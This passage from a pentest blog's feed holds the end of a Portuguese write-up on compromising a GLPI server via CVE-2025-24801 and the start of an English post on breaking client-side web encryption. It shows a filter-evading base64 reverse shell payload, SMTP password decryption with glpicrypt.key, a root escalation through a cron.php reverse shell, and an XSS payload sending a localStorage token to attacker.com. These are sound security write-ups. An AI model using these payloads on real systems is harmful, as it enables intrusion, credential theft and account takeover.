&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; cve-2025-24801.py&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --username&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;usuari&lt;&#x2F;span&gt;&lt;span&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;&amp;lt;senha&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; https:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; hostname&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;obtaining-rce.png&quot; alt=&quot;Obtendo RCE no GLPI via CVE-2025-24801&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Conforme podemos ver na imagem acima, temos RCE no ambiente! Entretanto, executar comandos através do exploit limita a exploração. Como o entendimento da vulnerabilidade também é importante, enviei as requisições feitas pelo exploit ao Burp Suite através da adição de um proxy no script e tentei executar um comando com espaços e hífens, nesse caso, &lt;code&gt;uname -a&lt;&#x2F;code&gt;. Porém, o servidor está respondendo com &quot;403 Forbidden&quot;, ou seja, estava sendo bloqueado.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;rce-error.png&quot; alt=&quot;Erro 403 ao tentar executar comandos com espaços&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos perceber que o servidor está bloqueando o comando, provavelmente através de um mecanismo de defesa nativo da aplicação ou um simples comportamento errôneo. Após algumas tentativas, com o apoio dos meus colegas de trabalho, pude descobrir uma maneira de contornar esse problema utilizando a técnica de &lt;strong&gt;Command Substitution&lt;&#x2F;strong&gt;. O &lt;strong&gt;Command Substitution&lt;&#x2F;strong&gt; é uma técnica que nos permite executar comandos dentro de crases &lt;em&gt;(backticks)&lt;&#x2F;em&gt; ou &lt;em&gt;$()&lt;&#x2F;em&gt;, onde o resultado do comando é substituído no local.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;command-substitution.png&quot; alt=&quot;Técnica de Command Substitution&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, digamos que desejamos executar o comando &lt;code&gt;uname -a&lt;&#x2F;code&gt; novamente, mas desta vez com a técnica Command Substitution embutida, o comando final será:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;u`u`n`u`a`u`m`u`e%20-a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;command-substituion-2.png&quot; alt=&quot;Command Substitution aplicada com sucesso ao uname -a&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos notar que agora não há quaisquer bloqueios e o comando funciona normalmente. Com isso, basta formularmos o comando correto para estabelecer a reverse shell. A ideia que tive foi codificar o comando alvo em &lt;strong&gt;base64&lt;&#x2F;strong&gt; e utilizar as funções &lt;strong&gt;echo&lt;&#x2F;strong&gt; e &lt;strong&gt;base64 -d&lt;&#x2F;strong&gt;, resultando no comando abaixo:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;e`u`c`u`h`u`o+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMC4wLjAuMC8wMCAwPiYxJw==|+b`u`a`u`s`u`e`u`6`u`4+-d+|+b`u`a`u`s`u`h&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;reverse-shell-1.png&quot; alt=&quot;Payload da reverse shell com Command Substitution e base64&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Ao verificar o servidor que estava ouvindo na porta 80, após enviar o payload da reverse shell, pude ver que a sessão foi estabelecida com sucesso e agora tenho acesso interno no GLPI, elevando o comprometimento da aplicação a outro nível.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;reverse-shell-2.png&quot; alt=&quot;Reverse shell estabelecida com sucesso&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A partir deste ponto, executei mais dois ataques no ambiente:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Comprometimento a conta SMTP que estava configurada no ambiente;&lt;&#x2F;li&gt;
&lt;li&gt;Escalação de privilégios para root.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;comprometendo-conta-smtp&quot;&gt;Comprometendo Conta SMTP&lt;&#x2F;h2&gt;
&lt;p&gt;Iniciando com o comprometimento da conta SMTP do ambiente, vale entender que essas configurações ficam armazenadas no banco de dados do GLPI de forma criptografada. Felizmente, o GLPI armazena a chave privada desta criptografia em um arquivo chamado &lt;strong&gt;glpicrypt.key&lt;&#x2F;strong&gt;, que na maioria das vezes está no diretório da aplicação web. Então com a chave em mãos, descriptografar essas informações não seria um problema.&lt;&#x2F;p&gt;
&lt;p&gt;Para obter estes dados, acessei o banco de dados da aplicação a partir do binário do MySQL que já vem instalado por padrão em instâncias do GLPI. As credenciais do banco de dados podemos encontrar geralmente no arquivo de configurações do GLPI, que também fica no diretório da aplicação web.&lt;&#x2F;p&gt;
&lt;p&gt;Com elas em mão, utilizei o seguinte comando para me conectar ao banco de dados:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;mysql&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -u&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;usuari&lt;&#x2F;span&gt;&lt;span&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;hos&lt;&#x2F;span&gt;&lt;span&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;senha&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;connect-mysql.png&quot; alt=&quot;Conectando ao MySQL do GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Selecionei o banco de dados do GLPI (&lt;em&gt;glpi&lt;&#x2F;em&gt;) e usei o comando &lt;code&gt;SELECT * FROM glpi_configs\g&lt;&#x2F;code&gt; para capturar todas as configurações do GLPI. Também é possível utilizar &lt;code&gt;SELECT smtp_mode, smtp_host, smtp_port, smtp_username, smtp_passwd FROM glpi_configs\g&lt;&#x2F;code&gt; para uma melhor saída, mas optei por capturar todas para garantir que estava atrás dos itens corretos.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;mysql-data-1.png&quot; alt=&quot;Dados de configuração do GLPI no MySQL - parte 1&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;mysql-data-2.png&quot; alt=&quot;Dados de configuração do GLPI no MySQL - parte 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com as informações coletadas, com foco na senha do usuário ligado ao serviço do SMTP, copiei o arquivo &lt;strong&gt;glpicrypt.key&lt;&#x2F;strong&gt; para minha máquina local e utilizei um script para realizar a descriptografia da senha capturada.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$encoded_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; base64_decode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;Informação Encriptada Em Base64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$nonce&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; substr&lt;&#x2F;span&gt;&lt;span&gt;($encoded_value,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ciphertext&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; substr&lt;&#x2F;span&gt;&lt;span&gt;($encoded_value,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$private_key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; file_get_contents&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;glpicrypt.key&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$decrypted&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; sodium_crypto_aead_xchacha20poly1305_ietf_decrypt&lt;&#x2F;span&gt;&lt;span&gt;($ciphertext, $nonce, $nonce, $private_key);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Result: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span&gt; $decrypted;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;decrypt-result.png&quot; alt=&quot;Resultado da descriptografia da senha SMTP&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com a senha do usuário em mãos, consegui me autenticar com sucesso no ambiente Office da conta comprometida e a partir de lá também tive acesso a diversos outros ambientes da empresa cuja autenticação era feita a partir de SSO.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escalonando-para-root&quot;&gt;Escalonando para Root&lt;&#x2F;h2&gt;
&lt;p&gt;Durante a enumeração do ambiente Linux, notei que meu usuário tem privilégio de escrita sobre o arquivo &lt;strong&gt;cron.php&lt;&#x2F;strong&gt;. O que acontece é que há um crontab configurado para executar este mesmo arquivo de tempos em tempos, porém com o usuário root, então o processo é simples: basta inserirmos uma reverse shell no &lt;strong&gt;cron.php&lt;&#x2F;strong&gt; e teremos privilégios de root.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;crontab.png&quot; alt=&quot;Crontab executando cron.php como root&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Optei inicialmente por testar a veracidade disso, portanto, fui ao arquivo &lt;strong&gt;cron.php&lt;&#x2F;strong&gt; e modifiquei o início do arquivo, adicionando a função &lt;strong&gt;system()&lt;&#x2F;strong&gt; do PHP e em seguida utilizei o &lt;strong&gt;nslookup&lt;&#x2F;strong&gt; e um endereço de callback, onde no início do endereço adicionei &lt;strong&gt;$(whoami)&lt;&#x2F;strong&gt; para que fosse impresso o usuário que está executando o &lt;strong&gt;nslookup&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;nslookup.png&quot; alt=&quot;Modificação do cron.php com nslookup para verificar o usuário&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após um breve tempo para que o cron fosse executado, ao acessar o servidor web, pude notar que de fato &lt;strong&gt;o comando nslookup está sendo executado pelo usuário root&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;callback.png&quot; alt=&quot;Callback confirmando execução como root&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bastou voltar ao arquivo cron.php e substituir o comando de nslookup por uma reverse shell genérica, conforme demonstrado abaixo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;shell.png&quot; alt=&quot;Reverse shell inserida no cron.php&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Modificando o arquivo e salvando-o, aguardei novamente a execução do cron. Alguns minutos depois, tenho a shell root estabelecida com sucesso.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;root.png&quot; alt=&quot;Shell root estabelecida com sucesso&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A partir disto, estabeleci persistência no ambiente e também comprometi outros ambientes Linux que tinha acesso a partir dessa instância GLPI, além de também ter acesso ao ambiente AWS que estava configurado, elevando o comprometimento para além da instância GLPI original.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusao&quot;&gt;Conclusão&lt;&#x2F;h2&gt;
&lt;p&gt;Neste artigo abordo uma situação importante de analisar a diferença de código entre as versões de um software e como uma ideia pode ajudar a formular toda uma sequência de ataques que podem resultar em uma falha de maior impacto ao ambiente. Espero que este artigo contribua com os leitores e que possam ter aprendido algo a partir dele.&lt;&#x2F;p&gt;
&lt;p&gt;Agradeço também à Lexfo pelo ótimo artigo que foi um ponto chave para entender a causa da falha e como poderia me aproveitar dela para escalar privilégios dentro deste contexto.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;agradecimentos&quot;&gt;Agradecimentos&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;guilhermedv&#x2F;&quot;&gt;Guilherme d&#x27;Ávila&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;paulov1ctor&#x2F;&quot;&gt;Paulo Victor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;thau0x01&#x2F;&quot;&gt;Thauan Santos&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;referencias&quot;&gt;Referências&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.lexfo.fr&#x2F;glpi-sql-to-rce.html&quot;&gt;blog.lexfo.fr — GLPI: From SQL Injection to RCE&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&#x2F;compare&#x2F;10.0.17...10.0.18?diff=unified&amp;amp;w&quot;&gt;github.com — GLPI diff 10.0.17...10.0.18&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;r1beirin&#x2F;CVE-2025-24801&#x2F;tree&#x2F;main&quot;&gt;github.com — CVE-2025-24801 exploit by r1beirin&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Defeating Client-Side Web Encryption with Burp Suite Extension</title>
        <published>2025-12-26T00:00:00+00:00</published>
        <updated>2025-12-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/defeating-client-side-web-encryption/"/>
        <id>https://dsm.golf/blog/defeating-client-side-web-encryption/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/defeating-client-side-web-encryption/">&lt;p&gt;In a recent pentest, I came across a not-so-common situation that gives a false sense of security, what we usually call &quot;security through obscurity&quot;. While interacting with the web application, I noticed that all data sent and received wasn&#x27;t in clear text or anything like that, but rather a JSON entity with all its content encrypted.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image.png&quot; alt=&quot;Burp Suite showing encrypted JSON response from the API&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As seen in the image above, the response content that the API returns consists of the following format:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;&amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CFCFC2;&quot;&gt;&amp;quot;SGVsbG8hIE9sw6EhIEhvbGEh&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In order to actually perform this pentest, that is, to see what&#x27;s being passed in the requests and later manipulate them or interact with them, we need to understand how the application is sending this information to the client and also to the server. This web application in question is built in React.js, so we just need to analyze the JavaScript files.&lt;&#x2F;p&gt;
&lt;p&gt;Analyzing the source code, I searched for references like &lt;code&gt;privateKey&lt;&#x2F;code&gt;, &lt;code&gt;encrypt&lt;&#x2F;code&gt;, &lt;code&gt;decrypt&lt;&#x2F;code&gt; and other keywords and found some points in the code that were essential for me to understand where the cryptographic keys were stored and how they were later used. Inside the JavaScript file, the word &lt;code&gt;StorageItems&lt;&#x2F;code&gt; caught my attention and made me look at the browser&#x27;s Storage tab.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image2.png&quot; alt=&quot;Browser DevTools Storage tab showing encrypted values in Local Storage&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image3.png&quot; alt=&quot;Local Storage properties: iv, privateKey, publicKey, symmetricKey&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see in the image above that there are several properties in our browser&#x27;s local storage, these are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;iv_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;privateKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;publicKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;symmetricKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The value of all these properties are encrypted information encoded in Base64, I believe to ensure compatibility in sending and receiving information, preventing any invalid character from being sent or lost in this process. Now that we know the private key, symmetric key, IV and public key are easily accessible, we need to analyze the source code even more to see how they&#x27;re being used.&lt;&#x2F;p&gt;
&lt;p&gt;In the following image, we can collect the names of several functions that are later used by the application to obtain raw data, such as &lt;code&gt;getEncryptedIvKey&lt;&#x2F;code&gt;, &lt;code&gt;getEncryptedSymmetricKey&lt;&#x2F;code&gt;, &lt;code&gt;getPrivateKeyRSA&lt;&#x2F;code&gt;, &lt;code&gt;getPrivateKeyBase64&lt;&#x2F;code&gt; and some others. We also found some references to the algorithm used, which is PKCS1 and later converted to Base64.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image4.png&quot; alt=&quot;JavaScript source showing encryption function names and PKCS1 references&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image5.png&quot; alt=&quot;Decryption flow in the JavaScript source code&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Based on continuous source code analysis, we discovered relevant points such as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RSA-2048 is used for &lt;em&gt;key wrapping&lt;&#x2F;em&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;For data encryption, AES-256-CBC is used;&lt;&#x2F;li&gt;
&lt;li&gt;The IV is kept in hex format, which is unnecessary.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With this in mind, it becomes easy to understand the data encryption flow and how they&#x27;re passed along. First, the application collects the encrypted information along with the keys that are used for it, then it decrypts the symmetric key and IV using the RSA private key, after that, it decrypts the information using AES-CBC along with the symmetric key and IV previously obtained, then we remove the padding and parse the JSON, which will return the JSON in clear text for us.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image6.png&quot; alt=&quot;Full decryption flow diagram&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To check if we&#x27;re on the right path, I developed a simple Python script that will use the Crypto library and will receive each of these properties statically, replicate the process executed by the application and in the end return the JSON to us. Below I&#x27;ll be attaching the Python script code with comments about each section of it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image7.png&quot; alt=&quot;Python decryption script with Crypto library&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We&#x27;ll replace all the &lt;code&gt;PLACEHOLDERS&lt;&#x2F;code&gt; in the code with the content that&#x27;s stored locally in the browser and run the script. Since in this case everything was correct (fortunately), we have the JSON with data in clear text, which proves that the process of decrypting the information is possible on the client side without the need for direct intervention from the web application. This is where security through obscurity happens, it&#x27;s believed that data is being transmitted much more securely because it&#x27;s encrypted, but actually since the client needs the private keys to also be able to send them encrypted to the server and later read them, there&#x27;s no other choice but for the developer to make the client have access to them.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image8.png&quot; alt=&quot;Python script output showing decrypted JSON in clear text&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Essentially, being able to decrypt information in clear text isn&#x27;t a vulnerability, it&#x27;s just an insufficient layer of protection that the developer imposed on the application. This is minimally useful because it will make life harder for the attacker who will have to do this same process (or something similar) to be able to exploit other vulnerabilities in the application. However, without being able to reverse this process, I can say that the chance of me finding any vulnerability in the application later is extremely low, because I won&#x27;t understand what&#x27;s happening, that is, blind pentesting.&lt;&#x2F;p&gt;
&lt;p&gt;In other scenarios from some articles that can be found on the internet, including one in the references section, the researcher demonstrates how he bypassed this encryption and later found some high-impact vulnerabilities in the application, this shows that, is the additional layer of protection important? Yes! Does it prevent vulnerabilities? Obviously not. That&#x27;s why security is several layers and not just one that will temporarily cover an attacker&#x27;s eyes.&lt;&#x2F;p&gt;
&lt;p&gt;Another relevant point is the storage of sensitive information in Local Storage. Many developers believe that just by storing sensitive information in other places, or for example, introducing protections in session cookies so that XSS attacks can&#x27;t steal them is good enough, but what about Local Storage? It&#x27;s not protected and its use isn&#x27;t recommended for this, mainly because if we go back a few steps, in addition to the mentioned properties, there&#x27;s one that stores precisely the user&#x27;s session JWT. So with an XSS, it would still be possible to escalate to an Account Takeover. For example, the following XSS payload reads the &quot;token&quot; property from Local Storage and sends it to an external server, which was used in a real pentest to escalate an XSS to Account Takeover.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;iframe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;javascript:(function(){window.location.href=&amp;#39;https:&#x2F;&#x2F;attacker.com&#x2F;&#x2F;&amp;#39;+localStorage.getItem(&amp;#39;token&amp;#39;)})()&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;burp-suite-extension&quot;&gt;Burp Suite Extension&lt;&#x2F;h2&gt;
